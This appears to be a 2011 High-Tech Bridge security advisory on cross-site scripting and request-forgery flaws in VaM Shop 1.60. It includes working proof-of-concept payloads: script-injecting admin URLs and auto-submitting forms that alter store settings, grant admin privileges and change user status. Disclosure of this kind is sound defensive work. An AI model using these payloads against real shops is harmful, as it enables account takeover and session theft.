High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in VaM Shop

Advisory ID:HTB22778
Product:VaM Shop
Vendor:Vamsoft
Vulnerable Versions:1.60 and probably prior
Tested Version:1.60
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2011-0504
CVE-2011-0503
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in VaM Shop which could be exploited to perform cross-site scripting and cross-site request forgery attacks.


1) Cross-site scripting (XSS) vulnerabilities in VaM Shop: CVE-2011-0504

1.1 The vulnerability exists due to input sanitation error in the "search" parameter in admin/customers.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</script>

1.2 The vulnerability exists due to input sanitation error in the "status" parameter in admin/orders.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert(document.cookie)</script >


2) Cross-site request forgery (CSRF) vulnerabilities in VaM Shop: CVE-2011-0503

2.1 The vulnerability exists due to insufficient validation of the request origin in admin/configuration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website configuration. Due to insufficient sanitation of input data in the "STORE_NAME" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation examples:
<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main">
<input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'>
<input type="hidden" name="STORE_OWNER" value="VaM Shop">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country">
<input type="hidden" name="SHOW_COUNTS" value="true">
<input type="hidden" name="CURRENT_TEMPLATE" value="vamshop">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in admin/accounting.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify privileges for arbitrary accounts.

Exploitation examples:
<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="access[]" value="configuration">
<input type="hidden" name="access[]" value="modules">
<input type="hidden" name="access[]" value="customers">
<input type="hidden" name="access[]" value="start">
<input type="hidden" name="access[]" value="content_manager">
<input type="hidden" name="access[]" value="categories">
</form>
<script>
document.main.submit();
</script>


2.3 The vulnerability exists due to insufficient validation of the request origin in admin/customers.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change status of arbitrary user.

Exploitation examples:
<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfirm" method="post" name="main">
<input type="hidden" name="status" value="0">
</form>
<script>
document.main.submit();
</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22778 - https://www.htbridge.com/advisory/HTB22778 - Multiple vulnerabilities in VaM Shop
[2] VaM Shop - vamshop.ru - VaM Shop is an e-commerce system written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.